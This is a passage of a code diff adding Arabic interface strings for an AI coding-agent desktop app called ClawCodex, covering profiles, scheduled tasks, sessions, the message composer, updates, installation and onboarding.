+    soulDesc: 'الموجّه (prompt) النظامي وتعليمات الشخصية المضمّنة في هذا الملف الشخصي.',
+    soulOptional: 'اختياري',
+    soulPlaceholder: mode =>
+      `الموجّه (prompt) النظامي / الشخصية لهذا الملف الشخصي.\nاتركه فارغا للإبقاء على افتراضي ${mode}.`,
+    soulPlaceholderCloned: 'مستنسخ',
+    soulPlaceholderEmpty: 'فارغ',
+    unsavedChanges: 'تغييرات غير محفوظة',
+    loadingSoul: 'جار تحميل SOUL.md...',
+    emptySoul: 'SOUL.md فارغ — ابدأ بكتابة الشخصية...',
+    saving: 'جار الحفظ...',
+    saveSoul: 'حفظ التعليمات',
+    deleteTitle: 'حذف الملف الشخصي',
+    deleteDescPrefix: 'سيؤدي هذا إلى حذف ',
+    deleteDescMid: ' وإزالة ',
+    deleteDescSuffix: ' الخاص به. لا يمكن التراجع عن هذا.',
+    deleting: 'جار الحذف...',
+    createDesc: 'أنشئ ملفا شخصيا بإعدادات منفصلة.',
+    nameLabel: 'الاسم',
+    cloneFrom: 'استنساخ من',
+    cloneFromNone: 'لا شيء (فارغ)',
+    cloneFromDesc: 'ينسخ الإعدادات والمهارات وSOUL.md من الملف الشخصي المصدر المحدد.',
+    cloneFromDefault: 'نسخ إعداد الافتراضي',
+    cloneFromDefaultDesc: 'ابدأ من إعدادات الملف الافتراضي.',
+    invalidName: hint => `اسم غير صالح: ${hint}`,
+    nameRequired: 'الاسم مطلوب',
+    creating: 'جار الإنشاء...',
+    createAction: 'إنشاء ملف شخصي',
+    renameTitle: 'إعادة تسمية الملف الشخصي',
+    renameDescPrefix: 'تؤدي إعادة التسمية إلى تحديث دليل الملف الشخصي وأي سكربتات تغليف في ',
+    renameDescSuffix: '.',
+    newNameLabel: 'الاسم الجديد',
+    renaming: 'جار إعادة التسمية...',
+    created: 'تم إنشاء الملف الشخصي',
+    renamed: 'تمت إعادة التسمية',
+    deleted: 'تم الحذف',
+    setupCopied: 'تم نسخ الإعداد',
+    soulSaved: 'تم حفظ التعليمات',
+    failedLoad: 'فشل تحميل الملفات الشخصية',
+    failedDelete: 'فشل الحذف',
+    failedCopy: 'فشل النسخ',
+    failedLoadSoul: 'فشل تحميل التعليمات',
+    failedSaveSoul: 'فشل حفظ التعليمات',
+    failedCreate: 'فشل الإنشاء',
+    failedRename: 'فشل إعادة التسمية'
+  },
+  cron: {
+    close: 'إغلاق',
+    search: 'بحث',
+    loading: 'جار التحميل...',
+    states: {
+      enabled: 'مُفعّل',
+      scheduled: 'مجدول',
+      running: 'قيد التشغيل',
+      paused: 'متوقف مؤقتا',
+      disabled: 'معطّل',
+      error: 'خطأ',
+      completed: 'مكتمل'
+    },
+    deliveryLabels: {
+      local: 'سطح المكتب هذا',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: 'البريد الإلكتروني'
+    },
+    scheduleLabels: {
+      daily: 'يوميا',
+      weekdays: 'أيام الأسبوع',
+      weekly: 'أسبوعيا',
+      monthly: 'شهريا',
+      hourly: 'كل ساعة',
+      'every-15-minutes': 'كل 15 دقيقة',
+      custom: 'مخصص'
+    },
+    scheduleHints: {
+      daily: 'كل يوم في الساعة 9:00 صباحا',
+      weekdays: 'من الاثنين إلى الجمعة في الساعة 9:00 صباحا',
+      weekly: 'كل اثنين في الساعة 9:00 صباحا',
+      monthly: 'أول يوم من كل شهر في الساعة 9:00 صباحا',
+      hourly: 'في بداية كل ساعة',
+      'every-15-minutes': 'كل 15 دقيقة',
+      custom: 'صياغة cron أو لغة طبيعية'
+    },
+    days: {
+      '0': 'الأحد',
+      '1': 'الاثنين',
+      '2': 'الثلاثاء',
+      '3': 'الأربعاء',
+      '4': 'الخميس',
+      '5': 'الجمعة',
+      '6': 'السبت',
+      '7': 'الأحد'
+    },
+    dayFallback: value => `اليوم ${value}`,
+    everyDayAt: time => `كل يوم في ${time}`,
+    weekdaysAt: time => `أيام الأسبوع في ${time}`,
+    everyDayOfWeekAt: (day, time) => `كل ${day} في ${time}`,
+    monthlyOnDayAt: (dayOfMonth, time) => `شهريا في اليوم ${dayOfMonth} في ${time}`,
+    topOfHour: 'في بداية كل ساعة',
+    everyHourAt: minute => `كل ساعة عند :${minute}`,
+    newCron: 'مهمة مجدولة جديدة',
+    emptyDescNew: 'أنشئ مهمة مجدولة لتشغيل ClawCodex تلقائيا.',
+    emptyDescSearch: 'لا توجد مهام تطابق البحث.',
+    emptyTitleNew: 'لا توجد مهام مجدولة',
+    emptyTitleSearch: 'لا توجد نتائج',
+    last: 'آخر تشغيل',
+    next: 'التالي',
+    noRuns: 'لا توجد تشغيلات',
+    manage: 'إدارة',
+    showRuns: 'إظهار التشغيلات',
+    hideRuns: 'إخفاء التشغيلات',
+    runHistory: 'سجل التشغيل',
+
+    actionsTitle: 'الإجراءات',
+    resume: 'استئناف',
+    pause: 'إيقاف مؤقت',
+    resumeTitle: 'استئناف المهمة',
+    pauseTitle: 'إيقاف المهمة مؤقتا',
+    triggerNow: 'تشغيل الآن',
+    edit: 'تحرير',
+    deleteTitle: 'حذف المهمة',
+    deleteDescPrefix: 'سيؤدي هذا إلى إزالة ',
+    deleteDescSuffix: ' نهائيا. سيتوقف عن العمل فورا.',
+    deleting: 'جار الحذف...',
+    resumed: 'تم الاستئناف',
+    paused: 'تم الإيقاف مؤقتا',
+    triggered: 'تم التشغيل',
+    deleted: 'تم الحذف',
+    created: 'تم الإنشاء',
+    updated: 'تم التحديث',
+    failedLoad: 'فشل تحميل المهام',
+    failedUpdate: 'فشل التحديث',
+    failedTrigger: 'فشل التشغيل',
+    failedDelete: 'فشل الحذف',
+    failedSave: 'فشل الحفظ',
+    editTitle: 'تحرير المهمة المجدولة',
+    createTitle: 'إنشاء مهمة مجدولة',
+    editDesc: 'عدل الجدول والرسالة.',
+    createDesc: 'اضبط مهمة يشغلها ClawCodex تلقائيا.',
+    nameLabel: 'الاسم',
+    namePlaceholder: 'مثال: الملخص الصباحي',
+    promptLabel: 'الرسالة',
+    promptPlaceholder: 'ماذا تريد من ClawCodex أن يفعل؟',
+    frequencyLabel: 'التكرار',
+    deliverLabel: 'التسليم',
+    customScheduleLabel: 'جدول مخصص',
+    customPlaceholder: 'تعبير cron',
+    customHint: 'استخدم صيغة cron القياسية.',
+    optional: 'اختياري',
+    promptScheduleRequired: 'الرسالة والجدول مطلوبان',
+    saveChanges: 'حفظ التغييرات',
+    createAction: 'إنشاء'
+  },
+  artifacts: {
+    search: 'بحث',
+    refresh: 'تحديث',
+    refreshing: 'جار التحديث...',
+    indexing: 'جار الفهرسة...',
+    tabAll: 'الكل',
+    tabImages: 'الصور',
+    tabFiles: 'الملفات',
+    tabLinks: 'الروابط',
+    noArtifactsTitle: 'لا توجد عناصر',
+    noArtifactsDesc: 'ستظهر الصور والملفات والروابط من محادثاتك هنا.',
+    failedLoad: 'فشل تحميل العناصر',
+    openFailed: 'فشل الفتح',
+    itemsImage: 'صور',
+    itemsLink: 'روابط',
+    itemsFile: 'ملفات',
+    itemsGeneric: 'عناصر',
+    zero: 'صفر',
+    rangeOf: (start, end, total) => `${start}-${end} من ${total}`,
+    goToPage: (itemLabel, page) => `الانتقال إلى صفحة ${page} من ${itemLabel}`,
+    colTitleLink: 'الرابط',
+    colTitleFile: 'الملف',
+    colTitleDefault: 'العنوان',
+    colLocationLink: 'الموقع',
+    colLocationFile: 'الموقع',
+    colLocationDefault: 'الموقع',
+    colSession: 'الجلسة',
+    kindImage: 'صورة',
+    kindFile: 'ملف',
+    kindLink: 'رابط',
+    chat: 'المحادثة',
+    copyUrl: 'نسخ الرابط',
+    copyPath: 'نسخ المسار'
+  },
+
+  artifactCard: {
+    kind: { code: 'كود', html: 'صفحة تفاعلية', svg: 'رسم' },
+    generating: lines => `جارٍ الإنشاء… ${lines} سطرًا`,
+    versionBadge: count => `${count} إصدارات`,
+    open: 'فتح'
+  },
+
+  artifactPreview: {
+    versionOf: (current, total) => `الإصدار ${current} من ${total}`,
+    olderVersion: 'إصدار أقدم',
+    newerVersion: 'إصدار أحدث',
+    latest: 'الأحدث',
+    copyContent: 'نسخ المحتوى',
+    download: 'تنزيل',
+    openInBrowser: 'فتح في المتصفح',
+    openInBrowserFailed: 'تعذّر الفتح في المتصفح',
+    missingTitle: 'الناتج غير متاح',
+    missingBody: 'لم يعد هذا الناتج موجودًا في السجل المحلي.'
+  },
+  sidebar: {
+    nav: {
+      'new-session': 'جلسة جديدة',
+      skills: 'المهارات',
+      messaging: 'المراسلة',
+      artifacts: 'العناصر',
+      chat: 'المحادثة',
+      settings: 'الإعدادات',
+      cron: 'المهام المجدولة',
+      agents: 'الوكلاء'
+    },
+    searchAria: 'البحث في الجلسات',
+    searchPlaceholder: 'البحث في الجلسات...',
+    clearSearch: 'مسح البحث',
+    noMatch: query => `لا توجد جلسات تطابق "${query}"`,
+    results: 'النتائج',
+    pinned: 'المثبتة',
+    sessions: 'الجلسات',
+    cronJobs: 'المهام المجدولة',
+    groupAriaGrouped: 'الجلسات مجمعة حسب مساحة العمل',
+    groupAriaUngrouped: 'الجلسات غير مجمعة',
+    showProjects: 'عرض المشاريع',
+    showSessions: 'عرض الجلسات',
+    groupTitleGrouped: 'مجمعة حسب مساحة العمل',
+    groupTitleUngrouped: 'كل الجلسات',
+    allPinned: 'كل الجلسات مثبتة',
+    shiftClickHint: 'استخدم Shift للتحديد المتعدد',
+    noWorkspace: 'بدون مساحة عمل',
+    projectEmpty: 'لا توجد جلسات بعد',
+    noSessions: 'لا توجد جلسات بعد',
+    projects: {
+      sectionLabel: 'المشاريع',
+      home: 'الرئيسية',
+      newButton: 'مشروع جديد',
+      createTitle: 'مشروع جديد',
+      createDesc: 'سمِّ مساحة العمل وأضف مجلدا أو أكثر.',
+      renameTitle: 'إعادة تسمية المشروع',
+      addFolderTitle: 'إضافة مجلد',
+      namePlaceholder: 'مثال: Skunkworks',
+      foldersLabel: 'المجلدات',
+      ideaLabel: 'الفكرة',
+      ideaPlaceholder: 'ما موضوع هذا المشروع؟ (يُحفظ في IDEA.md)',
+      ideaGenerate: 'توليد فكرة',
+      ideaGenerating: 'جار التوليد...',
+      ideaShuffle: 'خلط القوالب',
+      noFolders: 'لم تتم إضافة أي مجلدات بعد.',
+      addFolder: 'إضافة مجلد',
+      primaryBadge: 'أساسي',
+      removeFolder: 'إزالة',
+      create: 'إنشاء',
+      menu: 'إجراءات',
+      menuRename: 'إعادة تسمية',
+      menuAppearance: 'المظهر',
+      noColor: 'بلا لون',
+      menuAddFolder: 'إضافة مجلد',
+      menuSetActive: 'تعيين كنشط',
+      menuDelete: 'حذف',
+      reveal: 'إظهار في المجلد',
+      copyPath: 'نسخ المسار',
+      removeFromSidebar: 'إخفاء من الشريط الجانبي',
+      createFailed: 'تعذّر إنشاء المشروع',
+      deleteConfirm: 'هذا يزيل المشروع المحفوظ من ClawCodex. تبقى الملفات ومستودعات git وأشجار العمل دون تغيير.',
+      startWork: 'شجرة عمل جديدة',
+      newWorktreeTitle: 'شجرة عمل جديدة',
+      newWorktreeDesc: 'سمِّ الفرع لشجرة العمل هذه.',
+      branchPlaceholder: 'مثال: my-feature',
+      startWorkFailed: 'تعذّر إنشاء شجرة العمل',
+      worktreeProjectLabel: 'المشروع',
+      worktreeProjectPlaceholder: 'ابحث في المشاريع…',
+      worktreeProjectNone: 'لا توجد مشاريع بمجلد',
+      convertBranch: 'تحويل فرع...',
+      convertBranchTitle: 'تحويل فرع',
+      convertBranchDesc: 'افتح الفروع المسحوبة، أو أنشئ شجرة عمل لفرع حر.',
+      convertBranchPlaceholder: 'البحث في الفروع...',
+      convertBranchInstead: 'تحويل فرع موجود',
+      branchOpenExisting: 'فتح',
+      branchSwitchHome: 'تبديل الموطن',
+      branchCreateWorktree: 'شجرة عمل جديدة',
+      branchTrackRemote: 'تتبع البعيد',
+      branchesLoading: 'جار تحميل الفروع...',
+      noBranches: 'لم يتم العثور على فروع',
+      removeWorktree: 'إزالة شجرة العمل',
+      removeWorktreeFailed: 'تعذّر إزالة شجرة العمل (تغييرات غير مُودعة؟)',
+      removeWorktreeConfirm:
+        'أزِلها من git (يحذف مجلد شجرة العمل؛ يبقى الفرع)، أو فقط أخفِ المسار من الشريط الجانبي واترك شجرة العمل على القرص.',
+      removeWorktreeDirty:
+        'تحتوي شجرة العمل هذه على تغييرات غير مُودعة. أزِلها بالقوة (يتجاهل تلك التغييرات)، أو فقط أخفِ المسار واحتفظ بها على القرص.',
+      forceRemove: 'إزالة بالقوة',
+      enter: label => `فتح ${label}`,
+      reorder: label => `إعادة ترتيب ${label}`,
+      toggle: (label, open) => `${open ? 'إظهار' : 'إخفاء'} جلسات ${label}`,
+      back: 'كل المشاريع'
+    },
+    newSessionIn: label => `جلسة جديدة في ${label}`,
+    showMoreIn: (count, label) => `إظهار ${count} أخرى في ${label}`,
+    loading: 'جار التحميل...',
+    loadMore: 'تحميل المزيد',
+    loadCount: step => `تحميل ${step} أخرى`,
+    row: {
+      pin: 'تثبيت',
+      unpin: 'إلغاء التثبيت',
+      copyId: 'نسخ المعرف',
+      export: 'تصدير',
+      branchFrom: 'فرع',
+      rename: 'إعادة تسمية',
+      archive: 'أرشفة',
+      newWindow: 'فتح في نافذة جديدة',
+      copyIdFailed: 'فشل نسخ المعرف',
+
+      sessionActions: 'إجراءات الجلسة',
+      sessionRunning: 'الجلسة تعمل',
+      needsInput: 'تحتاج إدخالا',
+      waitingForAnswer: 'بانتظار إجابة',
+      backgroundRunning: 'تعمل في الخلفية',
+      finishedUnread: 'اكتملت وفيها جديد',
+      hideTabBar: 'إخفاء شريط التبويبات',
+      openInNewTab: 'فتح في تبويب جديد',
+      openInSplit: 'فتح في تقسيم',
+      ownedByProfile: profile => `مملوكة للملف الشخصي ${profile}`,
+      untitledChat: id => `محادثة ${id}`,
+      handoffOrigin: platform => `قادمة من ${platform}`,
+      renamed: 'تمت إعادة التسمية',
+      renameFailed: 'فشلت إعادة التسمية',
+      renameTitle: 'إعادة تسمية الجلسة',
+      renameDesc: '',
+      untitledPlaceholder: 'جلسة بلا عنوان',
+      ageNow: 'الآن',
+      ageDay: 'يوم',
+      ageHour: 'ساعة',
+      ageMin: 'دقيقة'
+    }
+  },
+  composer: {
+    message: 'الرسالة',
+    wakingProfile: profile => `جار إيقاظ ${profile}`,
+    placeholderStarting: 'جار بدء ClawCodex...',
+    placeholderReconnecting: 'جار إعادة الاتصال...',
+    placeholderFollowUp: 'اكتب متابعة...',
+    newSessionPlaceholders: ['اسأل ClawCodex عن شيء...', 'اطلب من ClawCodex تنفيذ مهمة...', 'ابدأ محادثة جديدة...'],
+    followUpPlaceholders: ['اكتب متابعة...', 'أضف توجيها...', 'اسأل سؤالا آخر...'],
+    startVoice: 'بدء الصوت',
+    openDirective: 'فتح',
+    queueMessage: 'إضافة الرسالة للطابور',
+    steer: 'توجيه',
+    stop: 'إيقاف',
+    send: 'إرسال',
+    speaking: 'يتحدث',
+    transcribing: 'جار التفريغ',
+    thinking: 'يفكر',
+    muted: 'مكتوم',
+    listening: 'يستمع',
+    muteMic: 'كتم الميكروفون',
+    unmuteMic: 'إلغاء كتم الميكروفون',
+    stopListening: 'إيقاف الاستماع',
+    stopShort: 'إيقاف',
+    endConversation: 'إنهاء المحادثة',
+    endShort: 'إنهاء',
+    stopDictation: 'إيقاف الإملاء',
+    transcribingDictation: 'جار تفريغ الإملاء',
+    voiceDictation: 'إملاء صوتي',
+    lookupLoading: 'جار البحث...',
+    lookupNoMatches: 'لا توجد نتائج',
+    lookupTry: 'جرب',
+    lookupOr: 'أو',
+    commonCommands: 'الأوامر الشائعة',
+    hotkeys: 'الاختصارات',
+    helpFooter: 'استخدم الأسهم للتنقل و Enter للاختيار.',
+    commandDescs: {
+      '/help': 'قائمة كاملة بالأوامر + اختصارات لوحة المفاتيح',
+      '/clear': 'بدء جلسة جديدة',
+      '/resume': 'استئناف جلسة سابقة',
+      '/details': 'التحكم في مستوى تفاصيل النص',
+      '/copy': 'نسخ التحديد أو آخر رسالة من المساعد',
+      '/quit': 'الخروج من clawcodex'
+    },
+    hotkeyDescs: {
+      'composer.mention': 'الإشارة إلى الملفات والمجلدات والروابط وgit',
+      'composer.slash': 'لوحة أوامر الشرطة المائلة',
+      'composer.help': 'هذه المساعدة السريعة (احذف للإخفاء)',
+      'composer.sendNewline': 'إرسال · Shift+Enter لسطر جديد',
+      'composer.sendQueued': 'إرسال الدور التالي في قائمة الانتظار',
+      'keybinds.openPanel': 'كل اختصارات لوحة المفاتيح',
+      'composer.cancel': 'إغلاق النافذة المنبثقة · إلغاء التشغيل',
+      'composer.history': 'التنقل في النافذة المنبثقة / السجل'
+    },
+    attachUrlTitle: 'إرفاق رابط',
+    attachUrlDesc: 'أضف رابطا إلى الرسالة.',
+    urlPlaceholder: 'https://example.com',
+    urlHintPre: 'سيقرأ ClawCodex الرابط ضمن السياق.',
+    attach: 'إرفاق',
+    queued: count => `${count} في الطابور`,
+    attachmentOnly: 'إرفاق فقط',
+    emptyTurn: 'اكتب رسالة أو أرفق ملفا.',
+    attachments: count => `${count} مرفق`,
+    editingInComposer: 'جار التحرير في صندوق الكتابة',
+    editingQueuedInComposer: 'جار تحرير رسالة في الطابور',
+    queueEdit: 'تحرير الرسالة المجدولة',
+    queueSendNext: 'إرسالها تاليا',
+    queueSend: 'إرسالها الآن',
+    queueDelete: 'حذف من الطابور',
+    queueStuckTitle: 'لم تُرسل الرسالة في قائمة الانتظار',
+    queueStuckBody: 'ظل دور في قائمة الانتظار يفشل في الإرسال. ما زال في قائمة الانتظار — حاول إرساله مرة أخرى.',
+    previewUnavailable: 'المعاينة غير متاحة',
+    previewLabel: label => `معاينة ${label}`,
+    couldNotPreview: label => `تعذرت معاينة ${label}`,
+    removeAttachment: label => `إزالة ${label}`,
+    dictating: 'جار الإملاء',
+    preparingAudio: 'جار تجهيز الصوت',
+    speakingResponse: 'جار قراءة الرد',
+    readingAloud: 'جار القراءة بصوت عال',
+    themeSuggestions: 'اقتراحات سمات سطح المكتب',
+    noMatchingThemes: 'لا توجد سمات مطابقة.',
+    themeTryPre: 'جرّب ',
+    themeTryPost: '.',
+    attachLabel: 'إرفاق',
+    files: 'ملفات',
+    folder: 'مجلد',
+    images: 'صور',
+    pasteImage: 'لصق صورة',
+    url: 'رابط',
+    promptSnippets: 'مقتطفات جاهزة',
+    tipPre: 'نصيحة: اكتب ',
+    tipPost: ' للإشارة إلى الملفات ضمن النص.',
+    snippetsTitle: 'مقتطفات الموجّهات',
+    snippetsDesc: 'اختر موجّهًا أوليًا لإدراجه في المحرّر.',
+    dropFiles: 'أفلت الملفات للإرفاق',
+    dropSession: 'أفلت الجلسة للفتح',
+    snippets: {
+      codeReview: {
+        label: 'مراجعة الكود',
+        description: 'دقّق التغيير الحالي بحثًا عن الانحدارات والحالات الطرفية المُسقطة والاختبارات المفقودة.',
+        text: 'يرجى مراجعة هذا بحثًا عن الأخطاء والانحدارات والاختبارات المفقودة.'
+      },
+      implementationPlan: {
+        label: 'خطة التنفيذ',
+        description: 'حدّد نهجًا قبل لمس الكود حتى يبقى الفرق مركّزًا.',
+        text: 'يرجى وضع خطة تنفيذ موجزة قبل تغيير الكود.'
+      },
+      explainThis: {
+        label: 'اشرح هذا',
+        description: 'اشرح كيفية عمل الكود المحدد واربطه بالملفات الرئيسية.',
+        text: 'يرجى شرح كيفية عمل هذا وإرشادي إلى الملفات الرئيسية.'
+      }
+    }
+  },
+  statusStack: {
+    agents: 'الوكلاء',
+    background: count => `${count} في الخلفية`,
+    subagents: count => `${count} ${count === 1 ? 'وكيل فرعي' : 'وكيل فرعي'}`,
+    todos: (done, total) => `المهام ${done}/${total}`,
+    running: 'قيد التشغيل',
+    stop: 'إيقاف',
+    dismiss: 'تجاهل',
+    exit: code => `خروج ${code}`,
+    coding: {
+      title: 'شجرة العمل',
+      noBranch: 'لا يوجد فرع',
+      detached: 'منفصل',
+      clean: 'نظيف',
+      changed: count => `${count} مُغيَّر`,
+      ahead: count => `${count} متقدم`,
+      behind: count => `${count} متأخر`,
+      review: 'مراجعة',
+      close: 'إغلاق',
+      openChanges: 'فتح التغييرات',
+      openFile: 'فتح الملف',
+      stage: 'إدراج',
+      unstage: 'إلغاء الإدراج',
+      stageAll: 'إدراج الكل',
+      viewAsTree: 'عرض كشجرة',
+      viewAsList: 'عرض كقائمة',
+      revert: 'تراجع',
+      revertAll: 'التراجع عن الكل',
+      revertConfirm: 'هل تريد تجاهل التغييرات على هذا الملف واستعادته إلى الحالة المُودعة؟ لا يمكن التراجع عن هذا.',
+      revertAllConfirm: 'هل تريد تجاهل كل التغييرات واستعادة الملفات إلى الحالة المُودعة؟ لا يمكن التراجع عن هذا.',
+      staged: 'مُدرَج',
+      noChanges: 'لا توجد تغييرات',
+      notRepo: 'ليس مستودع git',
+      noDiff: 'لا يوجد فرق لعرضه',
+      scopeUncommitted: 'غير مُودَع',
+      scopeBranch: 'فرع',
+      scopeLastTurn: 'آخر دور',
+      commit: 'إيداع',
+      commitAndPush: 'إيداع ودفع',
+      commitPlaceholder: 'رسالة (⌘↵ للإيداع)',
+      generateCommitMessage: 'توليد رسالة الإيداع',
+      stopGenerating: 'إيقاف التوليد',
+      createPr: 'إنشاء PR',
+      openPr: 'فتح PR',
+      ghMissing: 'ثبّت GitHub CLI (gh) وسجّل الدخول لفتح طلبات السحب',
+      agentShip: 'اطلب من ClawCodex فتح PR',
+      agentShipPrompt: 'راجع التغييرات الحالية، وأودعها برسالة إيداع تقليدية واضحة، وادفع الفرع، وافتح طلب سحب.',
+      newBranch: 'فرع جديد',
+      branchOffFrom: base => `فرع جديد من ${base}`,
+      switchTo: branch => `التبديل إلى ${branch}`,
+      switchFailed: branch => `تعذّر التبديل إلى ${branch}`,
+      worktrees: 'أشجار العمل'
+    }
+  },
+  updates: {
+    stages: {
+      idle: 'جار التحضير...',
+      prepare: 'جار التحضير...',
+      fetch: 'جار التنزيل...',
+      pull: 'أوشكنا على الانتهاء...',
+      pydeps: 'جار الإنهاء...',
+      update: 'جار تحديث ClawCodex...',
+      rebuild: 'جار إعادة بناء تطبيق سطح المكتب...',
+      restart: 'جار إعادة تشغيل ClawCodex...',
+      done: 'اكتمل التحديث',
+      manual: 'التحديث من الطرفية',
+      guiSkew: 'تحديث تطبيق سطح المكتب',
+      error: 'تم إيقاف التحديث مؤقتا'
+    },
+    checking: 'جار البحث عن تحديثات...',
+    checkFailedTitle: 'تعذّر التحقق من التحديثات',
+    tryAgain: 'إعادة المحاولة',
+    notAvailableTitle: 'التحديث غير متاح',
+    unsupportedMessage: 'لا يمكن لهذا الإصدار من ClawCodex تحديث نفسه من داخل التطبيق.',
+    connectionRetry: 'تحقق من اتصالك وأعد المحاولة.',
+    latestBody: 'أنت تستخدم أحدث إصدار.',
+    latestBodyBackend: 'الواجهة الخلفية تعمل بأحدث إصدار.',
+    allSetTitle: 'كل شيء جاهز',
+    availableTitle: 'يتوفر تحديث جديد',
+    availableBody: 'إصدار جديد من ClawCodex جاهز للتثبيت.',
+    availableTitleBackend: 'يتوفر تحديث للواجهة الخلفية',
+    availableBodyBackend: 'إصدار أحدث من واجهة ClawCodex الخلفية المتصلة جاهز للتثبيت.',
+    availableBodyNoChangelog: 'إصدار أحدث جاهز. ملاحظات الإصدار غير متاحة لنوع التثبيت هذا.',
+    updateNow: 'التحديث الآن',
+    maybeLater: 'ربما لاحقا',
+    moreChanges: count => `+ ${count} تغيير${count === 1 ? '' : 'ات'} إضافي مُضمَّن.`,
+    manualTitle: 'التحديث من الطرفية',
+    manualBody: 'لقد ثبّتت ClawCodex من سطر الأوامر، لذا تُجرى التحديثات من هناك أيضا. الصق هذا في طرفيتك:',
+    manualPickedUp: 'سيلتقط ClawCodex الإصدار الجديد في المرة التالية التي تشغّله فيها.',
+    guiSkewTitle: 'تحديث تطبيق سطح المكتب',
+    guiSkewBody:
+      'تم تحديث الواجهة الخلفية، لكن حزمة تطبيق سطح المكتب هذه لم تتغير. حدّث أو أعد تثبيت تطبيق ClawCodex لسطح المكتب (ملف AppImage / ‎.deb / ‎.rpm) لمطابقته.',
+    copy: 'نسخ',
+    copied: 'تم النسخ',
+    done: 'تم',
+    applyingBody:
+      'يتولّى مُحدِّث ClawCodex المهمة في نافذته الخاصة ويعيد فتح ClawCodex تلقائيا عند الانتهاء. الرجاء عدم إعادة فتح ClawCodex بنفسك أثناء التحديث.',
+    applyingBodyBackend:
+      'تطبّق الواجهة الخلفية البعيدة التحديث وستعيد التشغيل. يعيد ClawCodex الاتصال تلقائيا عند عودتها.',
+    applyingClose: 'ستُغلق هذه النافذة أثناء تشغيل التحديث، ثم يعيد ClawCodex فتح نفسه تلقائيا.',
+    errorTitle: 'لم يكتمل التحديث',
+    errorBody: 'لا داعي للقلق — لم يُفقد شيء. يمكنك إعادة المحاولة الآن.',
+    notNow: 'ليس الآن',
+    applyStatus: {
+      preparing: 'جار تحديث الواجهة الخلفية...',
+      pulling: 'جار تحديث الواجهة الخلفية...',
+      restarting: 'تعيد الواجهة الخلفية التشغيل لتحميل التحديث...',
+      notAvailable: 'التحديث غير متاح لهذه الواجهة الخلفية.',
+      failed: 'فشل تحديث الواجهة الخلفية.',
+      noReturn: 'لم تعد الواجهة الخلفية إلى الاتصال. قد لا يكون التحديث قد اكتمل — تحقق من مضيف الواجهة الخلفية.'
+    }
+  },
+  install: {
+    stageStates: {
+      pending: 'قيد الانتظار',
+      running: 'جار التثبيت',
+      succeeded: 'تم',
+      skipped: 'تم التخطي',
+      failed: 'فشل'
+    },
+    oneTimeTitle: 'يحتاج ClawCodex إلى تثبيت لمرة واحدة',
+    unsupportedDesc: platform =>
+      `التثبيت التلقائي عند أول تشغيل غير متاح على ${platform} بعد. افتح الطرفية وشغّل الأمر أدناه، ثم أعد تشغيل هذا التطبيق. ستتخطى عمليات التشغيل اللاحقة هذه الخطوة.`,
+    installCommand: 'أمر التثبيت',
+    copyCommand: 'نسخ الأمر',
+    viewDocs: 'عرض مستندات التثبيت',
+    installTo: 'سيتم التثبيت في',
+    retryAfterRun: 'لقد شغّلته -- إعادة المحاولة',
+    failedTitle: 'فشل التثبيت',
+    settingUpTitle: 'جار إعداد وكيل ClawCodex',
+    finishingTitle: 'جار الإنهاء',
+    failedDesc:
+      'فشلت إحدى خطوات التثبيت. على Windows، قد يحدث هذا إذا كان هناك نسخة أخرى من ClawCodex CLI أو تطبيق سطح المكتب قيد التشغيل. أوقف أي نسخ ClawCodex قيد التشغيل، ثم أعد المحاولة. تحقق من التفاصيل أدناه أو من سجل سطح المكتب للحصول على النص الكامل.',
+    activeDesc:
+      'هذا إعداد لمرة واحدة. يقوم مثبّت ClawCodex بتنزيل التبعيات وتهيئة جهازك. ستتخطى عمليات التشغيل اللاحقة هذه الخطوة.',
+    progress: (completed, total) => `اكتملت ${completed} من ${total} خطوة`,
+    currentStage: stage => ` -- الآن: ${stage}`,
+    fetchingManifest: 'جار جلب بيان المثبّت...',
+    error: 'خطأ',
+    hideOutput: 'إخفاء مخرجات المثبّت',
+    showOutput: 'إظهار مخرجات المثبّت',
+    lines: count => `${count} سطر`,
+    noOutput: 'لا توجد مخرجات بعد.',
+    cancelling: 'جار الإلغاء...',
+    cancelInstall: 'إلغاء التثبيت',
+    transcriptSaved: 'تم حفظ النص الكامل في',
+    copiedOutput: 'تم النسخ!',
+    copyOutput: 'نسخ المخرجات',
+    reloadRetry: 'إعادة التحميل وإعادة المحاولة'
+  },
+  onboarding: {
+    headerTitle: 'لنُعِدّ لك ClawCodex',
+    headerDesc: 'اربط مزوّد نماذج لبدء المحادثة. معظم الخيارات تتطلب نقرة واحدة.',
+    preparingInstall: 'يُكمل ClawCodex التثبيت. عادة ما يستغرق ذلك أقل من دقيقة في أول تشغيل.',
+    starting: 'جار بدء ClawCodex...',
+    lookingUpProviders: 'جار البحث عن المزوّدين...',
+    collapse: 'طي',
+    otherProviders: 'مزودون آخرون',
+    haveApiKey: 'لديك مفتاح API',
+    chooseLater: 'سأختار مزوّدا لاحقا',
+    recommended: 'موصى به',
+    connected: 'متصل',
+    featuredPitch: 'اشتراك واحد، أكثر من 300 نموذج متقدم — الطريقة الموصى بها لتشغيل ClawCodex',
+    fireworksPitch: 'نماذج مفتوحة سريعة مع استضافة Fireworks.',
+    openRouterPitch: 'مفتاح واحد لمئات النماذج — خيار افتراضي جيد',
+    apiKeyOptions: {
+      openrouter: {
+        short: 'مفتاح واحد، نماذج كثيرة',
+        description: 'يستضيف مئات النماذج خلف مفتاح واحد. خيار افتراضي جيد للتثبيتات الجديدة.'
+      },
+      openai: {
+        short: 'نماذج من فئة GPT',
+        description: 'وصول مباشر إلى نماذج OpenAI.'
+      },
+      gemini: {
+        short: 'نماذج Gemini',
+        description: 'وصول مباشر إلى نماذج Google Gemini.'
+      },
+      xai: {
+        short: 'نماذج Grok',
+        description: 'وصول مباشر إلى نماذج xAI Grok.'
+      },
+      local: {
+        short: 'مستضاف ذاتيا',
+        description:
+          'وجّه ClawCodex إلى نقطة نهاية محلية أو مستضافة ذاتيا متوافقة مع OpenAI (vLLM، llama.cpp، Ollama، إلخ).'
+      }
+    },
+    backToSignIn: 'العودة إلى تسجيل الدخول',
+    getKey: 'الحصول على مفتاح',
+    replaceCurrent: 'استبدال القيمة الحالية',
+    pasteApiKey: 'ألصق مفتاح API',
+    localApiKeyPlaceholder: 'مفتاح API (اختياري — فقط إذا كانت نقطة النهاية تتطلبه)',
+    couldNotSave: 'تعذر حفظ بيانات الاعتماد.',
+    connecting: 'جار الاتصال',
+    update: 'تحديث',
+    flowSubtitles: {
+      pkce: 'يفتح المتصفح لتسجيل الدخول ثم يتابع هنا',
